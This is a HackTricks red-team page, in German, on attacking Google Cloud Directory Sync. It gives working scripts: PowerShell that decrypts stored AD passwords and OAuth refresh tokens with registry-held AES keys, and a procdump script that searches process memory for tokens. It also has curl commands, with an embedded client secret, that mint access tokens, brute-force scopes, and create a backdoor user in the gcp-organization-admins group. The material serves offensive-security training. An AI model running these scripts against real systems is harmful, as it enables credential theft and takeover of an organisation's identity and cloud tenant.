GCDS - Google Cloud Directory Sync

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundinformationen

Dies ist ein Tool, das verwendet werden kann, um Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren (und nicht umgekehrt zum Zeitpunkt dieses Schreibens).

Es ist interessant, weil es ein Tool ist, das die Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.

note

Um ein MitM auf die config-manager.exe-Binärdatei durchzuführen, fügen Sie einfach die folgende Zeile in die Datei config.manager.vmoptions ein: -Dcom.sun.net.ssl.checkRevocation=false

tip

Beachten Sie, dass Winpeas in der Lage ist, GCDS zu erkennen, Informationen über die Konfiguration zu erhalten und sogar die Passwörter und verschlüsselten Anmeldeinformationen.

Beachten Sie auch, dass GCDS keine Passwörter von AD zu Workspace synchronisiert. Wenn überhaupt, generiert es einfach zufällige Passwörter für neu erstellte Benutzer in Workspace, wie Sie im folgenden Bild sehen können:

GCDS - Festplattentoken & AD-Anmeldeinformationen

Die Binärdatei config-manager.exe (die Haupt-GCDS-Binärdatei mit GUI) speichert standardmäßig die konfigurierten Active Directory-Anmeldeinformationen, das Aktualisierungstoken und den Zugriff in einer xml-Datei im Ordner C:\Program Files\Google Cloud Directory Sync in einer Datei namens Untitled-1.xml. Obwohl es auch im Documents-Ordner des Benutzers oder in irgendeinem anderen Ordner gespeichert werden könnte.

Darüber hinaus enthält die Registrierung HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui innerhalb des Schlüssels open.recent die Pfade zu allen kürzlich geöffneten Konfigurationsdateien (xmls). Es ist also möglich, es zu überprüfen, um sie zu finden.

Die interessantesten Informationen in der Datei wären:

xml
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]

Beachten Sie, wie das Refresh Token und das Passwort des Benutzers mit AES CBC unter Verwendung eines zufällig generierten Schlüssels und IV, die in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util gespeichert sind (wo auch immer die prefs Java-Bibliothek die Einstellungen speichert), in den String-Schlüsseln /Encryption/Policy/V2.iv und /Encryption/Policy/V2.key in base64 gespeichert sind.

Powershell-Skript zum Entschlüsseln des Refresh-Tokens und des Passworts
bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}

# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close()
$memoryStream.Close()

return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"

note

Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von DirSync.jar aus C:\Program Files\Google Cloud Directory Sync durchsuchen und nach der Zeichenfolge exportkeys suchen (da dies der CLI-Parameter ist, den die Binärdatei upgrade-config.exe erwartet, um die Schlüssel auszugeben).

Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei :\Program Files\Google Cloud Directory Sync\upgrade-config.exe mit dem Parameter -exportKeys zu verwenden und den Key und IV aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.

GCDS - Tokens aus dem Speicher dumpen

Genau wie bei GCPW ist es möglich, den Speicher des Prozesses config-manager.exe (das ist der Name der Haupt-Binärdatei von GCDS mit GUI) zu dumpen, und Sie werden in der Lage sein, Refresh- und Access-Token zu finden (wenn sie bereits generiert wurden).
Ich schätze, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finden.

Dump config-manager.exe Prozesse und nach Tokens suchen
bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

GCDS - Zugriffstoken aus Aktualisierungstoken generieren

Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Geheimnis verwendet wird, die im folgenden Befehl angegeben sind:

bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token

GCDS - Scopes

note

Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren.

Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.

Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem refresh_token verwendet werden können, um ein access_token zu generieren:

Bash-Skript zum Brute-Forcen von Scopes
bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt

Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:

https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts

Erstellen Sie einen Benutzer und fügen Sie ihn der Gruppe gcp-organization-admins hinzu, um zu versuchen, in GCP zu eskalieren.

bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'

# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'

# You could also change the password of a user for example

caution

Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das Refresh-Token nicht über genügend Scopes verfügt, um die erforderlichen Berechtigungen zu gewähren.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks